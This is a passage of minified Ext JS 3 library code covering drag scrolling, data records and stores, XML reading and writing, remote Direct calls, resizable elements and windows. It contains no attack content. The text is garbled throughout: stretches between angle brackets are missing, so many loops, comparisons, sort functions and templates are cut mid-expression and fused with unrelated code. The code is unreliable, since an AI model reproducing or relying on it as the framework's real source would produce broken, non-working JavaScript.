a=this.dragRegion;a.left=b[0];a.top=b[1];a.right=b[0];a.bottom=b[1];a.constrainTo(this.elRegion);return[a.left,a.top]}}});Ext.dd.ScrollManager=function(){var c=Ext.dd.DragDropMgr;var e={};var b=null;var i={};var h=function(l){b=null;a()};var j=function(){if(c.dragCurrent){c.refreshCache(c.dragCurrent.groups)}};var d=function(){if(c.dragCurrent){var l=Ext.dd.ScrollManager;var m=i.el.ddScrollConfig?i.el.ddScrollConfig.increment:l.increment;if(!l.animate){if(i.el.scroll(i.dir,m)){j()}}else{i.el.scroll(i.dir,m,true,l.animDuration,j)}}};var a=function(){if(i.id){clearInterval(i.id)}i.id=0;i.el=null;i.dir=""};var g=function(m,l){a();i.el=m;i.dir=l;var o=m.ddScrollConfig?m.ddScrollConfig.ddGroup:undefined,n=(m.ddScrollConfig&&m.ddScrollConfig.frequency)?m.ddScrollConfig.frequency:Ext.dd.ScrollManager.frequency;if(o===undefined||c.dragCurrent.ddGroup==o){i.id=setInterval(d,n)}};var k=function(o,q){if(q||!c.dragCurrent){return}var s=Ext.dd.ScrollManager;if(!b||b!=c.dragCurrent){b=c.dragCurrent;s.refreshCache()}var t=Ext.lib.Event.getXY(o);var u=new Ext.lib.Point(t[0],t[1]);for(var m in e){var n=e[m],l=n._region;var p=n.ddScrollConfig?n.ddScrollConfig:s;if(l&&l.contains(u)&&n.isScrollable()){if(l.bottom-u.y<=p.vthresh){if(i.el!=n){g(n,"down")}return}else{if(l.right-u.x<=p.hthresh){if(i.el!=n){g(n,"left")}return}else{if(u.y-l.top<=p.vthresh){if(i.el!=n){g(n,"up")}return}else{if(u.x-l.left<=p.hthresh){if(i.el!=n){g(n,"right")}return}}}}}}a()};c.fireEvents=c.fireEvents.createSequence(k,c);c.stopDrag=c.stopDrag.createSequence(h,c);return{register:function(n){if(Ext.isArray(n)){for(var m=0,l=n.length;m]+>/gi,asText:function(a){return String(a).replace(this.stripTagsRE,"")},asUCText:function(a){return String(a).toUpperCase().replace(this.stripTagsRE,"")},asUCString:function(a){return String(a).toUpperCase()},asDate:function(a){if(!a){return 0}if(Ext.isDate(a)){return a.getTime()}return Date.parse(String(a))},asFloat:function(a){var b=parseFloat(String(a).replace(/,/g,""));return isNaN(b)?0:b},asInt:function(a){var b=parseInt(String(a).replace(/,/g,""),10);return isNaN(b)?0:b}};Ext.data.Record=function(a,b){this.id=(b||b===0)?b:Ext.data.Record.id(this);this.data=a||{}};Ext.data.Record.create=function(e){var c=Ext.extend(Ext.data.Record,{});var d=c.prototype;d.fields=new Ext.util.MixedCollection(false,function(g){return g.name});for(var b=0,a=e.length;b-1){a.join(null);this.data.removeAt(b)}if(this.pruneModifiedRecords){this.modified.remove(a)}if(this.snapshot){this.snapshot.remove(a)}if(b>-1){this.fireEvent("remove",this,a,b)}},removeAt:function(a){this.remove(this.getAt(a))},removeAll:function(b){var a=[];this.each(function(c){a.push(c)});this.clearData();if(this.snapshot){this.snapshot.clear()}if(this.pruneModifiedRecords){this.modified=[]}if(b!==true){this.fireEvent("clear",this,a)}},onClear:function(b,a){Ext.each(a,function(d,c){this.destroyRecord(this,d,c)},this)},insert:function(d,c){var e,a,b;c=[].concat(c);for(e=0,a=c.length;e=0;d--){if(b[d].phantom===true){var a=b.splice(d,1).shift();if(a.isValid()){g.push(a)}}else{if(!b[d].isValid()){b.splice(d,1)}}}if(g.length){h.push(["create",g])}if(b.length){h.push(["update",b])}}j=h.length;if(j){e=++this.batchCounter;for(d=0;d=0;b--){this.modified.splice(this.modified.indexOf(a[b]),1)}}else{this.modified.splice(this.modified.indexOf(a),1)}},reMap:function(b){if(Ext.isArray(b)){for(var d=0,a=b.length;d=0;c--){this.insert(b[c].lastIndex,b[c])}}},handleException:function(a){Ext.handleError(a)},reload:function(a){this.load(Ext.applyIf(a||{},this.lastOptions))},loadRecords:function(b,l,h){var e,g;if(this.isDestroyed===true){return}if(!b||h===false){if(h!==false){this.fireEvent("load",this,[],l)}if(l.callback){l.callback.call(l.scope||this,[],l,false,b)}return}var a=b.records,j=b.totalRecords||a.length;if(!l||l.add!==true){if(this.pruneModifiedRecords){this.modified=[]}for(e=0,g=a.length;e-1){this.doUpdate(d)}else{k.push(d);++c}}this.totalLength=Math.max(j,this.data.length+c);this.add(k)}this.fireEvent("load",this,a,l);if(l.callback){l.callback.call(l.scope||this,a,l,true)}},loadData:function(c,a){var b=this.reader.readRecords(c);this.loadRecords(b,{add:a},true)},getCount:function(){return this.data.length||0},getTotalCount:function(){return this.totalLength||0},getSortState:function(){return this.sortInfo},applySort:function(){if((this.sortInfo||this.multiSortInfo)&&!this.remoteSort){this.sortData()}},sortData:function(){var a=this.hasMultiSort?this.multiSortInfo:this.sortInfo,k=a.direction||"ASC",h=a.sorters,c=[];if(!this.hasMultiSort){h=[{direction:k,field:a.field}]}for(var d=0,b=h.length;d1){for(var p=1,o=c.length;ph?1:(i=0;b--){if(Ext.isArray(c)){this.realize(a.splice(b,1).shift(),c.splice(b,1).shift())}else{this.realize(a.splice(b,1).shift(),c)}}}else{if(Ext.isArray(c)&&c.length==1){c=c.shift()}if(!this.isData(c)){throw new Ext.data.DataReader.Error("realize",a)}a.phantom=false;a._phid=a.id;a.id=this.getId(c);a.data=c;a.commit();a.store.reMap(a)}},update:function(a,c){if(Ext.isArray(a)){for(var b=a.length-1;b>=0;b--){if(Ext.isArray(c)){this.update(a.splice(b,1).shift(),c.splice(b,1).shift())}else{this.update(a.splice(b,1).shift(),c)}}}else{if(Ext.isArray(c)&&c.length==1){c=c.shift()}if(this.isData(c)){a.data=Ext.apply(a.data,c)}a.commit()}},extractData:function(k,a){var j=(this instanceof Ext.data.JsonReader)?"json":"node";var c=[];if(this.isData(k)&&!(this instanceof Ext.data.XmlReader)){k=[k]}var h=this.recordType.prototype.fields,o=h.items,m=h.length,c=[];if(a===true){var l=this.recordType;for(var e=0;e=0){return new Function("obj","return obj"+(b>0?".":"")+c)}return function(d){return d[c]}}}(),extractValues:function(h,d,a){var g,c={};for(var e=0;e<\u003fxml version="{version}" encoding="{encoding}"\u003f><{documentRoot}><{name}>{value}<{root}><{parent.record}><{name}>{value}',render:function(b,c,a){c=this.toArray(c);b.xmlData=this.tpl.applyTemplate({version:this.xmlVersion,encoding:this.xmlEncoding,documentRoot:(c.length>0||this.forceDocumentRoot===true)?this.documentRoot:false,record:this.meta.record,root:this.root,baseParams:c,records:(Ext.isArray(a[0]))?a:[a]})},createRecord:function(a){return this.toArray(this.toHash(a))},updateRecord:function(a){return this.toArray(this.toHash(a))},destroyRecord:function(b){var a={};a[this.meta.idProperty]=b.id;return this.toArray(a)}});Ext.data.XmlReader=function(a,b){a=a||{};Ext.applyIf(a,{idProperty:a.idProperty||a.idPath||a.id,successProperty:a.successProperty||a.success});Ext.data.XmlReader.superclass.constructor.call(this,a,b||a.fields)};Ext.extend(Ext.data.XmlReader,Ext.data.DataReader,{read:function(a){var b=a.responseXML;if(!b){throw {message:"XmlReader.read: XML Document not available"}}return this.readRecords(b)},readRecords:function(d){this.xmlData=d;var a=d.documentElement||d,c=Ext.DomQuery,g=0,e=true;if(this.meta.totalProperty){g=this.getTotal(a,0)}if(this.meta.successProperty){e=this.getSuccess(a)}var b=this.extractData(c.select(this.meta.record,a),true);return{success:e,records:b,totalRecords:g||b.length}},readResponse:function(g,b){var e=Ext.DomQuery,h=b.responseXML,a=h.documentElement||h;var c=new Ext.data.Response({action:g,success:this.getSuccess(a),message:this.getMessage(a),data:this.extractData(e.select(this.meta.record,a)||e.select(this.meta.root,a),false),raw:h});if(Ext.isEmpty(c.success)){throw new Ext.data.DataReader.Error("successProperty-response",this.meta.successProperty)}if(g===Ext.data.Api.actions.create){var d=Ext.isDefined(c.data);if(d&&Ext.isEmpty(c.data)){throw new Ext.data.JsonReader.Error("root-empty",this.meta.root)}else{if(!d){throw new Ext.data.JsonReader.Error("root-undefined-response",this.meta.root)}}}return c},getSuccess:function(){return true},buildExtractors:function(){if(this.ef){return}var l=this.meta,h=this.recordType,e=h.prototype.fields,k=e.items,j=e.length;if(l.totalProperty){this.getTotal=this.createAccessor(l.totalProperty)}if(l.successProperty){this.getSuccess=this.createAccessor(l.successProperty)}if(l.messageProperty){this.getMessage=this.createAccessor(l.messageProperty)}this.getRoot=function(g){return(!Ext.isEmpty(g[this.meta.record]))?g[this.meta.record]:g[this.meta.root]};if(l.idPath||l.idProperty){var d=this.createAccessor(l.idPath||l.idProperty);this.getId=function(g){var i=d(g)||g.id;return(i===undefined||i==="")?null:i}}else{this.getId=function(){return null}}var c=[];for(var b=0;b0&&c[0].field==this.groupField){c.shift()}this.groupField=e;this.groupDir=d;this.applyGroupField();var b=function(){this.fireEvent("groupchange",this,this.getGroupState())};if(this.groupOnSort){this.sort(e,d);b.call(this);return}if(this.remoteGroup){this.on("load",b,this,{single:true});this.reload()}else{this.sort(c);b.call(this)}},sort:function(h,c){if(this.remoteSort){return Ext.data.GroupingStore.superclass.sort.call(this,h,c)}var g=[];if(Ext.isArray(arguments[0])){g=arguments[0]}else{if(h==undefined){g=this.sortInfo?[this.sortInfo]:[]}else{var e=this.fields.get(h);if(!e){return false}var b=e.name,a=this.sortInfo||null,d=this.sortToggle?this.sortToggle[b]:null;if(!c){if(a&&a.field==b){c=(this.sortToggle[b]||"ASC").toggle("ASC","DESC")}else{c=e.sortDir}}this.sortToggle[b]=c;this.sortInfo={field:b,direction:c};g=[this.sortInfo]}}if(this.groupField){g.unshift({direction:this.groupDir,field:this.groupField})}return this.multiSort.call(this,g,c)},applyGroupField:function(){if(this.remoteGroup){if(!this.baseParams){this.baseParams={}}Ext.apply(this.baseParams,{groupBy:this.groupField,groupDir:this.groupDir});var a=this.lastOptions;if(a&&a.params){a.params.groupDir=this.groupDir;delete a.params.groupBy}}},applyGrouping:function(a){if(this.groupField!==false){this.groupBy(this.groupField,true,this.groupDir);return true}else{if(a===true){this.fireEvent("datachanged",this)}return false}},getGroupState:function(){return this.groupOnSort&&this.groupField!==false?(this.sortInfo?this.sortInfo.field:undefined):this.groupField}});Ext.reg("groupingstore",Ext.data.GroupingStore);Ext.data.DirectProxy=function(a){Ext.apply(this,a);if(typeof this.paramOrder=="string"){this.paramOrder=this.paramOrder.split(/[\s,|]/)}Ext.data.DirectProxy.superclass.constructor.call(this,a)};Ext.extend(Ext.data.DirectProxy,Ext.data.DataProxy,{paramOrder:undefined,paramsAsHash:true,directFn:undefined,doRequest:function(b,c,a,e,k,l,n){var j=[],h=this.api[b]||this.directFn;switch(b){case Ext.data.Api.actions.create:j.push(a.jsonData);break;case Ext.data.Api.actions.read:if(h.directCfg.method.len>0){if(this.paramOrder){for(var d=0,g=this.paramOrder.length;d1){for(var d=0,b=c.length;d0){this.doSend(a==1?this.callBuffer[0]:this.callBuffer);this.callBuffer=[]}},queueTransaction:function(a){if(a.form){this.processForm(a);return}this.callBuffer.push(a);if(this.enableBuffer){if(!this.callTask){this.callTask=new Ext.util.DelayedTask(this.combineAndSend,this)}this.callTask.delay(Ext.isNumber(this.enableBuffer)?this.enableBuffer:10)}else{this.combineAndSend()}},doCall:function(i,a,b){var h=null,e=b[a.len],g=b[a.len+1];if(a.len!==0){h=b.slice(0,a.len)}var d=new Ext.Direct.Transaction({provider:this,args:b,action:i,method:a.name,data:h,cb:g&&Ext.isFunction(e)?e.createDelegate(g):e});if(this.fireEvent("beforecall",this,d,a)!==false){Ext.Direct.addTransaction(d);this.queueTransaction(d);this.fireEvent("call",this,d,a)}},doForm:function(j,b,g,i,e){var d=new Ext.Direct.Transaction({provider:this,action:j,method:b.name,args:[g,i,e],cb:e&&Ext.isFunction(i)?i.createDelegate(e):i,isForm:true});if(this.fireEvent("beforecall",this,d,b)!==false){Ext.Direct.addTransaction(d);var a=String(g.getAttribute("enctype")).toLowerCase()=="multipart/form-data",h={extTID:d.tid,extAction:j,extMethod:b.name,extType:"rpc",extUpload:String(a)};Ext.apply(d,{form:Ext.getDom(g),isUpload:a,params:i&&Ext.isObject(i.params)?Ext.apply(h,i.params):h});this.fireEvent("call",this,d,b);this.processForm(d)}},processForm:function(a){Ext.Ajax.request({url:this.url,params:a.params,callback:this.onData,scope:this,form:a.form,isUpload:a.isUpload,ts:a})},createMethod:function(d,a){var b;if(!a.formHandler){b=function(){this.doCall(d,a,Array.prototype.slice.call(arguments,0))}.createDelegate(this)}else{b=function(e,g,c){this.doForm(d,a,e,g,c)}.createDelegate(this)}b.directCfg={action:d,method:a};return b},getTransaction:function(a){return a&&a.tid?Ext.Direct.getTransaction(a.tid):null},doCallback:function(c,g){var d=g.status?"success":"failure";if(c&&c.cb){var b=c.cb,a=Ext.isDefined(g.result)?g.result:g.data;if(Ext.isFunction(b)){b(a,g)}else{Ext.callback(b[d],b.scope,[a,g]);Ext.callback(b.callback,b.scope,[a,g])}}}});Ext.Direct.PROVIDERS.remoting=Ext.direct.RemotingProvider;Ext.Resizable=Ext.extend(Ext.util.Observable,{constructor:function(d,e){this.el=Ext.get(d);if(e&&e.wrap){e.resizeChild=this.el;this.el=this.el.wrap(typeof e.wrap=="object"?e.wrap:{cls:"xresizable-wrap"});this.el.id=this.el.dom.id=e.resizeChild.id+"-rzwrap";this.el.setStyle("overflow","hidden");this.el.setPositioning(e.resizeChild.getPositioning());e.resizeChild.clearPositioning();if(!e.width||!e.height){var g=e.resizeChild.getSize();this.el.setSize(g.width,g.height)}if(e.pinned&&!e.adjustments){e.adjustments="auto"}}this.proxy=this.el.createProxy({tag:"div",cls:"x-resizable-proxy",id:this.el.id+"-rzproxy"},Ext.getBody());this.proxy.unselectable();this.proxy.enableDisplayMode("block");Ext.apply(this,e);if(this.pinned){this.disableTrackOver=true;this.el.addClass("x-resizable-pinned")}var k=this.el.getStyle("position");if(k!="absolute"&&k!="fixed"){this.el.setStyle("position","relative")}if(!this.handles){this.handles="s,e,se";if(this.multiDirectional){this.handles+=",n,w"}}if(this.handles=="all"){this.handles="n s e w ne nw se sw"}var o=this.handles.split(/\s*?[,;]\s*?| /);var c=Ext.Resizable.positions;for(var j=0,l=o.length;j0){if(a>(e/2)){d=c+(e-a)}else{d=c-a}}return Math.max(b,d)},resizeElement:function(){var a=this.proxy.getBox();if(this.updateBox){this.el.setBox(a,false,this.animate,this.duration,null,this.easing)}else{this.el.setSize(a.width,a.height,this.animate,this.duration,null,this.easing)}this.updateChildSize();if(!this.dynamic){this.proxy.hide()}if(this.draggable&&this.constrainTo){this.dd.resetConstraints();this.dd.constrainTo(this.constrainTo)}return a},constrain:function(b,c,a,d){if(b-cd){c=b-d}}return c},onMouseMove:function(z){if(this.enabled&&this.activeHandle){try{if(this.resizeRegion&&!this.resizeRegion.contains(z.getPoint())){return}var t=this.curSize||this.startBox,l=this.startBox.x,k=this.startBox.y,c=l,b=k,m=t.width,u=t.height,d=m,o=u,n=this.minWidth,A=this.minHeight,s=this.maxWidth,D=this.maxHeight,i=this.widthIncrement,a=this.heightIncrement,B=z.getXY(),r=-(this.startPoint[0]-Math.max(this.minX,B[0])),p=-(this.startPoint[1]-Math.max(this.minY,B[1])),j=this.activeHandle.position,E,g;switch(j){case"east":m+=r;m=Math.min(Math.max(n,m),s);break;case"south":u+=p;u=Math.min(Math.max(A,u),D);break;case"southeast":m+=r;u+=p;m=Math.min(Math.max(n,m),s);u=Math.min(Math.max(A,u),D);break;case"north":p=this.constrain(u,p,A,D);k+=p;u-=p;break;case"west":r=this.constrain(m,r,n,s);l+=r;m-=r;break;case"northeast":m+=r;m=Math.min(Math.max(n,m),s);p=this.constrain(u,p,A,D);k+=p;u-=p;break;case"northwest":r=this.constrain(m,r,n,s);p=this.constrain(u,p,A,D);k+=p;u-=p;l+=r;m-=r;break;case"southwest":r=this.constrain(m,r,n,s);u+=p;u=Math.min(Math.max(A,u),D);l+=r;m-=r;break}var q=this.snap(m,i,n);var C=this.snap(u,a,A);if(q!=m||C!=u){switch(j){case"northeast":k-=C-u;break;case"north":k-=C-u;break;case"southwest":l-=q-m;break;case"west":l-=q-m;break;case"northwest":l-=q-m;k-=C-u;break}m=q;u=C}if(this.preserveRatio){switch(j){case"southeast":case"east":u=o*(m/d);u=Math.min(Math.max(A,u),D);m=d*(u/o);break;case"south":m=d*(u/o);m=Math.min(Math.max(n,m),s);u=o*(m/d);break;case"northeast":m=d*(u/o);m=Math.min(Math.max(n,m),s);u=o*(m/d);break;case"north":E=m;m=d*(u/o);m=Math.min(Math.max(n,m),s);u=o*(m/d);l+=(E-m)/2;break;case"southwest":u=o*(m/d);u=Math.min(Math.max(A,u),D);E=m;m=d*(u/o);l+=E-m;break;case"west":g=u;u=o*(m/d);u=Math.min(Math.max(A,u),D);k+=(g-u)/2;E=m;m=d*(u/o);l+=E-m;break;case"northwest":E=m;g=u;u=o*(m/d);u=Math.min(Math.max(A,u),D);m=d*(u/o);k+=g-u;l+=E-m;break}}this.proxy.setBounds(l,k,m,u);if(this.dynamic){this.resizeElement()}}catch(v){}}},handleOver:function(){if(this.enabled){this.el.addClass("x-resizable-over")}},handleOut:function(){if(!this.resizing){this.el.removeClass("x-resizable-over")}},getEl:function(){return this.el},getResizeChild:function(){return this.resizeChild},destroy:function(b){Ext.destroy(this.dd,this.overlay,this.proxy);this.overlay=null;this.proxy=null;var c=Ext.Resizable.positions;for(var a in c){if(typeof c[a]!="function"&&this[c[a]]){this[c[a]].destroy()}}if(b){this.el.update("");Ext.destroy(this.el);this.el=null}this.purgeListeners()},syncHandleHeight:function(){var a=this.el.getHeight(true);if(this.west){this.west.el.setHeight(a)}if(this.east){this.east.el.setHeight(a)}}});Ext.Resizable.positions={n:"north",s:"south",e:"east",w:"west",se:"southeast",sw:"southwest",nw:"northwest",ne:"northeast"};Ext.Resizable.Handle=Ext.extend(Object,{constructor:function(d,g,c,e,a){if(!this.tpl){var b=Ext.DomHelper.createTemplate({tag:"div",cls:"x-resizable-handle x-resizable-handle-{0}"});b.compile();Ext.Resizable.Handle.prototype.tpl=b}this.position=g;this.rz=d;this.el=this.tpl.append(d.el.dom,[this.position],true);this.el.unselectable();if(e){this.el.setOpacity(0)}if(!Ext.isEmpty(a)){this.el.addClass(a)}this.el.on("mousedown",this.onMouseDown,this);if(!c){this.el.on({scope:this,mouseover:this.onMouseOver,mouseout:this.onMouseOut})}},afterResize:function(a){},onMouseDown:function(a){this.rz.onMouseDown(this,a)},onMouseOver:function(a){this.rz.handleOver(this,a)},onMouseOut:function(a){this.rz.handleOut(this,a)},destroy:function(){Ext.destroy(this.el);this.el=null}});Ext.Window=Ext.extend(Ext.Panel,{baseCls:"x-window",resizable:true,draggable:true,closable:true,closeAction:"close",constrain:false,constrainHeader:false,plain:false,minimizable:false,maximizable:false,minHeight:100,minWidth:200,expandOnShow:true,showAnimDuration:0.25,hideAnimDuration:0.25,collapsible:false,initHidden:undefined,hidden:true,elements:"header,body",frame:true,floating:true,initComponent:function(){this.initTools();Ext.Window.superclass.initComponent.call(this);this.addEvents("resize","maximize","minimize","restore");if(Ext.isDefined(this.initHidden)){this.hidden=this.initHidden}if(this.hidden===false){this.hidden=true;this.show()}},getState:function(){return Ext.apply(Ext.Window.superclass.getState.call(this)||{},this.getBox(true))},onRender:function(b,a){Ext.Window.superclass.onRender.call(this,b,a);if(this.plain){this.el.addClass("x-window-plain")}this.focusEl=this.el.createChild({tag:"a",href:"#",cls:"x-dlg-focus",tabIndex:"-1",html:" "});this.focusEl.swallowEvent("click",true);this.proxy=this.el.createProxy("x-window-proxy");this.proxy.enableDisplayMode("block");if(this.modal){this.mask=this.container.createChild({cls:"ext-el-mask"},this.el.dom);this.mask.enableDisplayMode("block");this.mask.hide();this.mon(this.mask,"click",this.focus,this)}if(this.maximizable){this.mon(this.header,"dblclick",this.toggleMaximize,this)}},initEvents:function(){Ext.Window.superclass.initEvents.call(this);if(this.animateTarget){this.setAnimateTarget(this.animateTarget)}if(this.resizable){this.resizer=new Ext.Resizable(this.el,{minWidth:this.minWidth,minHeight:this.minHeight,handles:this.resizeHandles||"all",pinned:true,resizeElement:this.resizerAction,handleCls:"x-window-handle"});this.resizer.window=this;this.mon(this.resizer,"beforeresize",this.beforeResize,this)}if(this.draggable){this.header.addClass("x-window-draggable")}this.mon(this.el,"mousedown",this.toFront,this);this.manager=this.manager||Ext.WindowMgr;this.manager.register(this);if(this.maximized){this.maximized=false;this.maximize()}if(this.closable){var a=this.getKeyMap();a.on(27,this.onEsc,this);a.disable()}},initDraggable:function(){this.dd=new Ext.Window.DD(this)},onEsc:function(a,b){if(this.activeGhost){this.unghost()}b.stopEvent();this[this.closeAction]()},beforeDestroy:function(){if(this.rendered){this.hide();this.clearAnchor();Ext.destroy(this.focusEl,this.resizer,this.dd,this.proxy,this.mask)}Ext.Window.superclass.beforeDestroy.call(this)},onDestroy:function(){if(this.manager){this.manager.unregister(this)}Ext.Window.superclass.onDestroy.call(this)},initTools:function(){if(this.minimizable){this.addTool({id:"minimize",handler:this.minimize.createDelegate(this,[])})}if(this.maximizable){this.addTool({id:"maximize",handler:this.maximize.createDelegate(this,[])});this.addTool({id:"restore",handler:this.restore.createDelegate(this,[]),hidden:true})}if(this.closable){this.addTool({id:"close",handler:this[this.closeAction].createDelegate(this,[])})}},resizerAction:function(){var a=this.proxy.getBox();this.proxy.hide();this.window.handleResize(a);return a},beforeResize:function(){this.resizer.minHeight=Math.max(this.minHeight,this.getFrameHeight()+40);this.resizer.minWidth=Math.max(this.minWidth,this.getFrameWidth()+40);this.resizeBox=this.el.getBox()},updateHandles:function(){if(Ext.isIE&&this.resizer){this.resizer.syncHandleHeight();this.el.repaint()}},handleResize:function(b){var a=this.resizeBox;if(a.x!=b.x||a.y!=b.y){this.updateBox(b)}else{this.setSize(b);if(Ext.isIE6&&Ext.isStrict){this.doLayout()}}this.focus();this.updateHandles();this.saveState()},focus:function(){var e=this.focusEl,a=this.defaultButton,c=typeof a,d,b;if(Ext.isDefined(a)){if(Ext.isNumber(a)&&this.fbar){e=this.fbar.items.get(a)}else{if(Ext.isString(a)){e=Ext.getCmp(a)}else{e=a}}d=e.getEl();b=Ext.getDom(this.container);if(d&&b){if(b!=document.body&&!Ext.lib.Region.getRegion(b).contains(Ext.lib.Region.getRegion(d.dom))){return}}}e=e||this.focusEl;e.focus.defer(10,e)},setAnimateTarget:function(a){a=Ext.get(a);this.animateTarget=a},beforeShow:function(){delete this.el.lastXY;delete this.el.lastLT;if(this.x===undefined||this.y===undefined){var a=this.el.getAlignToXY(this.container,"c-c");var b=this.el.translatePoints(a[0],a[1]);this.x=this.x===undefined?b.left:this.x;this.y=this.y===undefined?b.top:this.y}this.el.setLeftTop(this.x,this.y);if(this.expandOnShow){this.expand(false)}if(this.modal){Ext.getBody().addClass("x-body-masked");this.mask.setSize(Ext.lib.Dom.getViewWidth(true),Ext.lib.Dom.getViewHeight(true));this.mask.show()}},show:function(c,a,b){if(!this.rendered){this.render(Ext.getBody())}if(this.hidden===false){this.toFront();return this}if(this.fireEvent("beforeshow",this)===false){return this}if(a){this.on("show",a,b,{single:true})}this.hidden=false;if(Ext.isDefined(c)){this.setAnimateTarget(c)}this.beforeShow();if(this.animateTarget){this.animShow()}else{this.afterShow()}return this},afterShow:function(b){if(this.isDestroyed){return false}this.proxy.hide();this.el.setStyle("display","block");this.el.show();if(this.maximized){this.fitContainer()}if(Ext.isMac&&Ext.isGecko2){this.cascade(this.setAutoScroll)}if(this.monitorResize||this.modal||this.constrain||this.constrainHeader){Ext.EventManager.onWindowResize(this.onWindowResize,this)}this.doConstrain();this.doLayout();if(this.keyMap){this.keyMap.enable()}this.toFront();this.updateHandles();if(b&&(Ext.isIE||Ext.isWebKit)){var a=this.getSize();this.onResize(a.width,a.height)}this.onShow();this.fireEvent("show",this)},animShow:function(){this.proxy.show();this.proxy.setBox(this.animateTarget.getBox());this.proxy.setOpacity(0);var a=this.getBox();this.el.setStyle("display","none");this.proxy.shift(Ext.apply(a,{callback:this.afterShow.createDelegate(this,[true],false),scope:this,easing:"easeNone",duration:this.showAnimDuration,opacity:0.5}))},hide:function(c,a,b){if(this.hidden||this.fireEvent("beforehide",this)===false){return this}if(a){this.on("hide",a,b,{single:true})}this.hidden=true;if(c!==undefined){this.setAnimateTarget(c)}if(this.modal){this.mask.hide();Ext.getBody().removeClass("x-body-masked")}if(this.animateTarget){this.animHide()}else{this.el.hide();this.afterHide()}return this},afterHide:function(){this.proxy.hide();if(this.monitorResize||this.modal||this.constrain||this.constrainHeader){Ext.EventManager.removeResizeListener(this.onWindowResize,this)}if(this.keyMap){this.keyMap.disable()}this.onHide();this.fireEvent("hide",this)},animHide:function(){this.proxy.setOpacity(0.5);this.proxy.show();var a=this.getBox(false);this.proxy.setBox(a);this.el.hide();this.proxy.shift(Ext.apply(this.animateTarget.getBox(),{callback:this.afterHide,scope:this,duration:this.hideAnimDuration,easing:"easeNone",opacity:0}))},onShow:Ext.emptyFn,onHide:Ext.emptyFn,onWindowResize:function(){if(this.maximized){this.fitContainer()}if(this.modal){this.mask.setSize("100%","100%");var a=this.mask.dom.offsetHeight;this.mask.setSize(Ext.lib.Dom.getViewWidth(true),Ext.lib.Dom.getViewHeight(true))}this.doConstrain()},doConstrain:function(){if(this.constrain||this.constrainHeader){var b;if(this.constrain){b={right:this.el.shadowOffset,left:this.el.shadowOffset,bottom:this.el.shadowOffset}}else{var a=this.getSize();b={right:-(a.width-100),bottom:-(a.height-25+this.el.getConstrainOffset())}}var c=this.el.getConstrainToXY(this.container,true,b);if(c){this.setPosition(c[0],c[1])}}},ghost:function(a){var c=this.createGhost(a);var b=this.getBox(true);c.setLeftTop(b.x,b.y);c.setWidth(b.width);this.el.hide();this.activeGhost=c;return c},unghost:function(b,a){if(!this.activeGhost){return}if(b!==false){this.el.show();this.focus.defer(10,this);if(Ext.isMac&&Ext.isGecko2){this.cascade(this.setAutoScroll)}}if(a!==false){this.setPosition(this.activeGhost.getLeft(true),this.activeGhost.getTop(true))}this.activeGhost.hide();this.activeGhost.remove();delete this.activeGhost},minimize:function(){this.fireEvent("minimize",this);return this},close:function(){if(this.fireEvent("beforeclose",this)!==false){if(this.hidden){this.doClose()}else{this.hide(null,this.doClose,this)}}},doClose:function(){this.fireEvent("close",this);this.destroy()},maximize:function(){if(!this.maximized){this.expand(false);this.restoreSize=this.getSize();this.restorePos=this.getPosition(true);if(this.maximizable){this.tools.maximize.hide();this.tools.restore.show()}this.maximized=true;this.el.disableShadow();if(this.dd){this.dd.lock()}if(this.collapsible){this.tools.toggle.hide()}this.el.addClass("x-window-maximized");this.container.addClass("x-window-maximized-ct");this.setPosition(0,0);this.fitContainer();this.fireEvent("maximize",this)}return this},restore:function(){if(this.maximized){var a=this.tools;this.el.removeClass("x-window-maximized");if(a.restore){a.restore.hide()}if(a.maximize){a.maximize.show()}this.setPosition(this.restorePos[0],this.restorePos[1]);this.setSize(this.restoreSize.width,this.restoreSize.height);delete this.restorePos;delete this.restoreSize;this.maximized=false;this.el.enableShadow(true);if(this.dd){this.dd.unlock()}if(this.collapsible&&a.toggle){a.toggle.show()}this.container.removeClass("x-window-maximized-ct");this.doConstrain();this.fireEvent("restore",this)}return this},toggleMaximize:function(){return this[this.maximized?"restore":"maximize"]()},fitContainer:function(){var a=this.container.getViewSize(false);this.setSize(a.width,a.height)},setZIndex:function(a){if(this.modal){this.mask.setStyle("z-index",a)}this.el.setZIndex(++a);a+=5;if(this.resizer){this.resizer.proxy.setStyle("z-index",++a)}this.lastZIndex=a},alignTo:function(b,a,c){var d=this.el.getAlignToXY(b,a,c);this.setPagePosition(d[0],d[1]);return this},anchorTo:function(c,e,d,b){this.clearAnchor();this.anchorTarget={el:c,alignment:e,offsets:d};Ext.EventManager.onWindowResize(this.doAnchor,this);var a=typeof b;if(a!="undefined"){Ext.EventManager.on(window,"scroll",this.doAnchor,this,{buffer:a=="number"?b:50})}return this.doAnchor()},doAnchor:function(){var a=this.anchorTarget;this.alignTo(a.el,a.alignment,a.offsets);return this},clearAnchor:function(){if(this.anchorTarget){Ext.EventManager.removeResizeListener(this.doAnchor,this);Ext.EventManager.un(window,"scroll",this.doAnchor,this);delete this.anchorTarget}return this},toFront:function(a){if(this.manager.bringToFront(this)){if(!a||!a.getTarget().focus){this.focus()}}return this},setActive:function(a){if(a){if(!this.maximized){this.el.enableShadow(true)}this.fireEvent("activate",this)}else{this.el.disableShadow();this.fireEvent("deactivate",this)}},toBack:function(){this.manager.sendToBack(this);return this},center:function(){var a=this.el.getAlignToXY(this.container,"c-c");this.setPagePosition(a[0],a[1]);return this}});Ext.reg("window",Ext.Window);Ext.Window.DD=Ext.extend(Ext.dd.DD,{constructor:function(a){this.win=a;Ext.Window.DD.superclass.constructor.call(this,a.el.id,"WindowDD-"+a.id);this.setHandleElId(a.header.id);this.scroll=false},moveOnly:true,headerOffsets:[100,25],startDrag:function(){var a=this.win;this.proxy=a.ghost(a.initialConfig.cls);if(a.constrain!==false){var c=a.el.shadowOffset;this.constrainTo(a.container,{right:c,left:c,bottom:c})}else{if(a.constrainHeader!==false){var b=this.proxy.getSize();this.constrainTo(a.container,{right:-(b.width-this.headerOffsets[0]),bottom:-(b.height-this.headerOffsets[1])})}}},b4Drag:Ext.emptyFn,onDrag:function(a){this.alignElWithMouse(this.proxy,a.getPageX(),a.getPageY())},endDrag:function(a){this.win.unghost();this.win.saveState()}});Ext.WindowGroup=function(){var g={};var d=[];var e=null;var c=function(j,i){return(!j._lastAccess||j._lastAccess0){l.sort(c);var k=l[0].manager.zseed;for(var m=0;m=0;--j){if(!d[j].hidden){b(d[j]);return}}b(null)};return{zseed:9000,register:function(i){if(i.manager){i.manager.unregister(i)}i.manager=this;g[i.id]=i;d.push(i);i.on("hide",a)},unregister:function(i){delete i.manager;delete 